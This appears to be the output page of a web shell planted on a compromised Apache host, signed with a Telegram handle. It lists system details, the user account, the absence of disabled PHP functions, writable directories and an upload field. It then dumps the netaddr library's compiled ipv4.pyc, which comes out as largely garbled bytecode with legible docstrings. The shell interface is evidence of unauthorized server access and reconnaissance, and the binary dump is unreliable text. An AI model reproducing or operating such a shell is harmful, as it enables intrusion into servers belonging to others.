https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/netaddr/strategy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/netaddr/strategy/ipv4.pyc
�
o�\c@s�dZddlZddlZddlmZejd$krVddl	m
ZmZnddlm
ZmZddl
mZmZmZddlmZmZmZmZmZmZmZdd	l m!Z!d
Z"dZ#dZ$d
Z%eZ&dZ'dZ(dZ)de"dZ*e"e#Z+de#dZ,e-ge.de"d�D]"Z/e/e*de"e/dAf^q9�Z0e-ge.de"d�D]"Z/e*de"e/dAe/f^q{�Z1e-ge.de"d�D]Z/e/de"e/df^q��Z2e-ge.de"d�D]Z/de"e/de/f^q��Z3dd�Z4dd�Z5dd�Z7d�Z8d�Z9d�Z:d�Zd�Z;d�Z<d�Zd�Zdd�Zd �Zd!�Zd"�Zd#�Z=dS(%sIPv4 address logic.i����N(t	inet_atontwin32tcygwin(t	inet_ptontAF_INET(tAddrFormatErrortZEROFILLt	INET_PTON(tvalid_wordst
valid_bitstbits_to_inttint_to_bitst	valid_bint
int_to_bint
bin_to_int(t	_str_typei is%dt.tIPv4ii
iiicCs�|dkrtd��nt}|t@rcdjg|jd�D]}dt|�^qA�}ny(|t@r�tt|�n
t	|�Wnt
k
r�t}nX|S(sP
    :param addr: An IPv4 address in presentation (string) format.

    :param flags: decides which rules are applied to the interpretation of the
        addr value. Supported constants are INET_PTON and ZEROFILL. See the
        netaddr.core docs for details.

    :return: ``True`` if IPv4 address is valid, ``False`` otherwise.
    ts Empty strings are not supported!Rs%d(RtTrueRtjointsplittintRt
_inet_ptonRt
_inet_atont	ExceptiontFalse(taddrtflagstvalidityti((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyt	valid_strQs

8


cCs�|t@rBdjg|jd�D]}dt|�^q �}nyE|t@rltjdtt|��dStjdt	|��dSWn!t
k
r�td|��nXdS(sP
    :param addr: An IPv4 dotted decimal address in string form.

    :param flags: decides which rules are applied to the interpretation of the
        addr value. Supported constants are INET_PTON and ZEROFILL. See the
        netaddr.core docs for details.

    :return: The equivalent unsigned integer for a given IPv4 address.
    Rs%ds>Iis&%r is not a valid IPv4 address string!N(RRRRRt_structtunpackRRRRR(RRR((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyt
str_to_intns

8

cCs\d|kotknrHd|d?|d?d@|d?d@|d@fStd|��dS(	s�
    :param int_val: An unsigned integer.

    :param dialect: (unused) Any value passed in is ignored.

    :return: The IPv4 presentation (string) format address equivalent to the
        unsigned integer provided.
    is%d.%d.%d.%diii�is*%r is not a valid 32-bit unsigned integer!N(tmax_intt
ValueError(tint_valtdialect((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyt
int_to_str�s	cCsPgt|�D]}d|^q
}|j�|jdddg�dj|�S(s�
    :param int_val: An unsigned integer.

    :return: The reverse DNS lookup for an IPv4 address in network byte
        order integer form.
    s%dsin-addrtarpaRR(tint_to_wordstreversetextendR(R%Rtwords((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pytint_to_arpa�s#
cCstjd|�S(s�
    :param int_val: the integer to be packed.

    :return: a packed string that is equivalent to value represented by an
    unsigned integer.
    s>I(R tpack(R%((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyt
int_to_packed�scCstjd|�dS(s
    :param packed_int: a packed string containing an unsigned integer.
        It is assumed that string is packed in network byte order.

    :return: An unsigned integer equivalent to value of network address
        represented by packed binary string.
    s>Ii(R R!(t
packed_int((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyt
packed_to_int�scCst|tt�S(N(t_valid_wordst	word_sizet	num_words(R,((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyR�scCsWd|kotkns/td|��n|d?|d?d@|d?d@|d@fS(s�
    :param int_val: An unsigned integer.

    :return: An integer word (octet) sequence that is equivalent to value
        represented by an unsigned integer.
    is>%r is not a valid integer value supported bythis address type!iii�i(R#R$(R%((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyR)�s
cCs?t|�std|��ntjdtjd|��dS(s�
    :param words: A list or tuple containing integer octets.

    :return: An unsigned integer that is equivalent to value represented
        by word (octet) sequence.
    s1%r is not a valid octet list for an IPv4 address!s>It4Bi(RR$R R!R.(R,((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pytwords_to_int�scCst|tt�S(N(t_valid_bitstwidthtword_sep(tbits((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyR	�scCst|tt�S(N(t_bits_to_intR8R9(R:((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyR
�scCs/|dkrt�d}nt|tt|�S(NR9(tNonetglobalst_int_to_bitsR3R4(R%R9((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyR�scCs
t|t�S(N(t
_valid_binR8(tbin_val((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyR�scCs
t|t�S(N(t_int_to_binR8(R%((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyR
�scCs
t|t�S(N(t_bin_to_intR8(R@((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyR�scCsg}td|�}t|t�rd|kr:|�nyRd|krxg|jd�D]}dt|�^qY}ndt|�g}Wntk
r�|�nXdt|�ko�dknr�x4tdt|��D]}|jd�q�Wq|�n|s|�ndt	|�S(	s�
    Expands a partial IPv4 address into a full 4-octet version.

    :param addr: an partial or abbreviated IPv4 address

    :return: an expanded IP address in presentation format (x.x.x.x)

    s!invalid partial IPv4 address: %r!t:Rs%diit0s%s.%s.%s.%s(
Rt
isinstanceRRRR$tlentrangetappendttuple(RttokensterrortoR((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pytexpand_partial_address�s$		/

"		(swin32scygwin(>t__doc__tsyst_syststructR tsocketRRtplatformtnetaddr.fbsocketRRRtnetaddr.coreRRRtnetaddr.strategyRR2R	R7R
R;RR>RR?R
RARRBtnetaddr.compatRR8R3tword_fmtR9tfamilytfamily_nametversiont	word_baseR#R4tmax_wordtdictRGRtprefix_to_netmasktnetmask_to_prefixtprefix_to_hostmaskthostmask_to_prefixRR"R<R'R-R/R1R)R6RM(((s8/tmp/pip-install-zM1pc4/netaddr/netaddr/strategy/ipv4.pyt<module>sX4
??;;	
	
									

https://t.me/AnonymousX5 - 2025